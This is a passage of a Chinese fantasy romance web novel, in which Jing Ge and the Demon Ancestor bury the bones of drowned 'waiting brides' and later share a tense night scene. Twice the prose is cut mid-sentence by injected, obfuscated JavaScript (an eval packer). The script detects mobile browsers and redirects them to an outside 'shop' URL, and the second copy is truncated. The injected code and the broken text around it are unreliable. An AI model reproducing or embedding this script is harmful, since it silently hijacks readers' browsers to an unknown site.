“好了好了,别整天喊大喊杀的。当下之急,是先救出秦楠妹妹的尸体。”就算世界天塌地陷,她荆歌身为一个任务在身,着急回家的“外地人”,还是要把任务做完。 “秦楠,你的妹妹,是在朝凤山遇到的吗?” 壶中境到秦楠进入朝凤山后碎裂,不知是因为她刻意为之还是鬼力不足以支撑,总之,在这之前,并未见到秦楠口中所谓的妹妹。 那个扑倒秦楠的身影,会不会就是她的妹妹? 荆歌看向秦楠。 她总觉得,秦楠的身上藏着许多秘密,她的真实身份,或许也不是一个普通女鬼这么简单。毕竟没有哪个女鬼,敢戏耍魔祖,跟魔祖对峙时,不落下风。 秦楠的神情依旧淡漠,只偶尔提起自己的妹妹时,神色会有些许动容。她道:“嗯,我和妹妹,确实是在朝凤山相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125986|196074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇的。” “鬼窟的位置也转移到了朝凤山之下。” 话音未落,魔祖看向秦楠的目光越发的幽深。 荆歌只当秦楠与鬼王同为鬼派,对鬼的气息极为敏感,也默认扑倒秦楠的就是她的妹妹,没多想,便道:“那我们是不是得去朝凤山一趟了?” 秦楠轻颔首:“劳烦姑娘了。” 这个时候竟然还客气上了。荆歌不好意思地挠了下脑袋,回身冲着魔祖笑了笑:“你能变出来一只船,帮我们渡河吗?”她可舍不得动用自己的灵力,她的灵力可要在关键时候救人呢。当然还有一个很重要的原由,身为修士,她虽然什么都修,但清禾只帮助她恢复了治愈系的医术。实话实说,她还不会用灵力化物。 “不用船。”魔祖走向她。 什么叫不用船,难不成你驮着我过河啊,御剑飞行我还没学会呢。荆歌在心里苦嚎。 魔祖靠近她,视线落到鸡鸣湖上。 “那畜生回来了。” 什么畜生? 话音落下的瞬间,一只形似龟的巨兽从水中探出了头,鼻孔喷出了两柱水花。 原来是负恶。 荆歌看向身旁的小老祖,悄么么地瞪了他一眼,小声地说出了心里话:“人家好好的一只神兽,怎么到你的嘴里就成了畜生了。还有你给起的这什么名字啊,这么可爱的一只大王八,叫什么负恶?我看叫来福才配得上……” 魔祖低眸看着荆歌小声嘟囔的模样,视线从她轻闪的眼睫往下,停到了她喋喋不休的唇上。良久后,他才压制住体内躁意,逼迫自己转回了视线,故作轻松道:“你不是想吃它么,名字随你改,改完要清蒸还是红烧?呃——” 小老祖欠揍的话还没说完,荆歌一脚踩在了他的鞋上,忙道:“说什么呢,别让孩子听见。”她看着水里欢腾的巨兽,一时没反应过来自己说了什么,待回神后,忽然听得一声轻笑。 “好,不说了,孩子它娘。” 魔祖含笑的语调低沉撩人,从耳侧传来。荆歌脸爆红,僵着步子远离了他。 负恶见荆歌走了过来,欢欣雀跃地冲她喷了两股水花,一时没控制好水量,把它“娘”淋成了落汤鸡。 荆歌:“……” 负恶一见闯了祸,撅起粗短的两只前肢蒙住了双眼,从指缝间隙偷看着它“爹”的反应。 小老祖果然在瞪他。 负恶有点难过。 它是“爹娘”养大的,会喷水后,常和“娘”这样喷着玩,“娘”总会在它喷水时掏出一把大伞,大伞溅起的水会重新迸到它身上。“娘”这时就会大笑。 可是现在,“娘”怎么不知道掏伞了呢? 负恶趴在岸边,蒙着眼委屈,张开了口。 被水淋湿全身的不是她么,耷拉下脑袋,看起来不开心的怎么是这是丑萌丑萌的大乌龟呢? 荆歌见状甚为不解,让她更不解的是,这只出海去撩妹的巨兽,没带回一只龟妹,反而低着脑袋开始“吐骨头”。 一具又一具的白骨,从它大口中接连而出,就像下饺子似的,堆在了岸上。 荆歌一阵惊恐,问:“好龟龟,你吃人去了?” 负恶闻言,左右疯狂地甩它短墩墩的脖子,仰天长啸,其声呜然,似乎在说:“不要冤枉龟,龟绝不吃人。” 魔祖也道:“这畜生不吃人,吃素。” 荆歌把心放回了肚子。 久久注视着这堆白骨的秦楠,忽然开口道:“她们中的大多数,都是等郎妹。” 11. 等郎媳 ——等郎媳,亦称等郎妹,多贫家之女,幼时离家,入婆家等郎生。其命多惨,或受婆家欺辱,或转卖于人,或逼与鸡成亲,或配作阴婚,或溺毙于水,或终生望郎。 被负恶浇了一身水,又看着它吐了一堆的白骨,荆歌无论是身体还是双目,都需要缓冲。听了秦楠的话后,她的心更是如坠铅锤。 魔祖见她脸色不好,大手一挥,变出了许多棺材和土坑,秦楠说要亲手埋葬她们,魔祖允了,让她葬好她们后就去地宫养精蓄锐,准备前往朝凤山。 他则掳着荆歌去休息,奈何荆歌非要帮忙,他便和她们一道,葬完这些白骨后,再掳着荆歌去休息。 沐浴过后,换洗了一身干净的衣裳,荆歌躺在云床上,看着魔祖为她找来的凤竹堡的地方日志、逸闻杂谈。其中的一本书,记录了凤竹堡“等郎媳”的由来。 凤竹堡位于嘉南国边境处,而此国曾因内乱分崩离析,很长的一段时间里,地理位置偏远的凤竹堡处于自治的状态,又因为人口稀少,接收了因战乱南下的流民。 异乡人汇聚于此,各显神通,凤竹堡本地人在坚守本地特色的同时,也乐于接受新鲜事物。因而,凤竹堡逐渐富裕了起来,人丁兴旺。 但是,在新变与致富中,以宗族制为主的堡中人固执地坚守着一个婚嫁习俗,即等郎媳。 无儿家庭迷信“养媳引喜”,借女童催“儿”生,且幼年收养女童的成本远低于成年娶妻的开支,收养来的女童亦可充当劳动力,一举两得。 因而,无论贫富,无儿但求子心切的人家,总会向更为贫苦的人家“求女”,为延续香火,稳固自家在族中之位。 而在这个习俗出现之前,堡中有很多被溺死、遗弃、送养的女婴。 荆歌看一行叹一行气,心里的某块地方就像是被人一针一针地戳过来扎过去,绵密的痛感令她的呼吸都沉重了起来。 秦楠所言,更是如同烙铁一般刻在了心上。 她说,她最好的朋友,阿莲比她还早一年来到“婆家”,等了二十年,也未等来郎君。在漫长的等待中,阿莲爱上了在婆家劳作的长工,两人约定私奔,被发现后,那男子反悔,诬陷阿莲不守妇道,蓄意勾引。 阿莲被浸猪笼,冰冷的湖水成了她的归宿。 还有很多很多和阿莲命运相类的凤竹堡女子们,她们痴的痴,傻的傻,最后投身于湖底。 荆歌想起了和秦楠的初见。 秦楠穿着一身火红的衣裙,脸上妆容花了。她走得很慢,红裙似乎有千斤重,化开的妆容模糊了她的视野。 秦楠身溺于湖水,心却非死于湖水。 现在想来,那身被水浸湿的红裙之上白骨累累,载着无数冤魂怨魄,才会使秦楠往前的每一步,都走得沉重无比。 然而,始终向前走的心,自始至终,都未曾动摇过。 等找到秦楠的妹妹,她一定要问清秦楠的后来,然后—— 荆歌从枕头下取出一本空白的小册,脑中回忆着吴仲泼所写的关于这些女子的传记。她这人没什么优点,但记忆力一向好,又略懂一些绘画。 秦楠未完的故事,她要代替吴先生,写完。 还要根据吴先生所述,用画笔勾勒出那些或年轻,或苍老的容颜,让这个世界中的人们记住她们。 如果可以的话,她希望后世的女子知晓她们的宿命,带着她们对于缤纷人生的渴望,好好地活下去…… 泡完冷泉的魔祖湿着发,眉眼清润,只穿着一条薄软的里裤就向荆歌走来了。 她甫一合上书,就看到了一副美男出浴图,吓得手一抖,书掉在了脸上。 荆歌在心里骂自己没出息,现代互联网上什么没见过,怎么看到个湿发美男还能紧张成这样? 魔祖发丝还在滴水,轻轻坐在床边,眼神一寸一寸从云床上假寐的女子滑过。 云床上的女子,穿着轻薄的白裙,一只腿屈着,翻起了裙摆,露出的腿白皙光滑,在粉云赤雾缭绕的云床之上,就像是精雕细琢过的白玉。 脚踝上那抹细细的疤痕,却像是白玉上的裂痕,令他眉宇皱起。 这道疤痕,因他而起。 魔祖抬手,抚了上去。 他试过千万种方法,却都没办法让她的脚踝,完好如初。 躺在床上演死尸的荆歌,只觉得脚腕上传来丝丝缕缕的温热的触感,就像疲惫至极后泡脚一般舒服,她悄悄地把盖在脸上的书移开了些,偷偷看着搞“小动作”的小老祖。 半湿的长发遮住了他的半张脸,却挡不住他高挺有型的鼻骨,沐浴之后的薄唇色泽比往日深重些,正好成了她最喜欢的唇色。再往下,发梢的水滴顺着起伏的胸膛往下,慢滑至腹间,消失在了白色的绸裤中…… 荆歌慌忙用书盖实了脸,藏住涨红的脸。 美男还是刷少了,回去成倍成倍地刷! 正在心底检讨着,脑中却还是小老祖赤/裸的上本身,不知是不是她的错觉,小老祖可媲美男模的腰肩上,多了许多深浅不一的伤痕。 她尚未确定,脸上盖着的书便被没了。 魔祖拿着书,眨眼看她。 “为何装睡?” 荆歌不答,眼睫微动。 魔祖开始自言自语:“书盖在脸上,是怕脸着凉?” “真睡了?既然睡着了,那本座岂非想做什么便能做什么了。” 什么叫想做什么就做什么?你小子要是敢乱来,我就—— 话落,荆歌突然感觉到脸颊上方传来了灼热的气息,同她的呼吸纠缠于一起。哪怕闭着眼,她也能感受到一道滚烫的视线。 烟云缭绕于身,气息纠葛。在这样的氛围中,荆歌率先败下阵来,睁开了眼。 一张分外好看的脸落入眼底。 小老祖嘴角微翘,银色的面具遮覆住了半张脸,双眸静静注视着她。 荆歌忽然有些晃神,一些似是而非的画面像碎片一样从脑海中闪过,待回神之时,她的手伸向了他的面具。 魔祖却侧过了脸。 连带着,收起了唇角的笑。 荆歌收回了手,起身,道:“把书给我,我脸怕着凉,盖着书睡得香。” 小老祖闻言把书还给了他,却是一脸的心事重重。 在荆歌的印象中,从未见过魔祖这幅模样,他总是以狂狷恣肆的不可一世之态出现在她的面前,哪怕是初遇之时伪装成的文弱书生,眼底匿着的也是执掌一切的狂傲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“至于你的真心又在何处,本座管不着,也不想管,本座不在乎!”说着,他顶着一头半干的长发,蹭了下荆歌的颈窝。 颈窝痒痒的荆歌:哦,少年,还本座上了。你是真不在乎还是嘴硬,自己心里清楚哦。 “只要你的人,在本座身边就好。” 荆歌:古早的味这不就来了。 “睡觉。” 境中的几日,确实榨干了荆歌的体力与精力,这会子,顾不上男女有别,纵使身边躺着一个体温异常炽热的男魔,她也只想一觉到天明。 然而,事与愿违。 一声鸡鸣声划破了寂静的黑夜。 荆歌烦躁地睁开了眼“好烦啊,怎么就打鸣了啊,没睡呢,怎么就该醒了。” 身旁魔祖也在同一时间睁开了眼,沉声道:“并非鸡鸣声。” 话落,荆歌屏息凝神侧耳听。 确实不是,其声只有第一声类鸡鸣,后来的声音空灵幽雅,又哀婉绵长,却在下一瞬陡然尖锐,就像是—— 遇到了强敌后的愤然警告。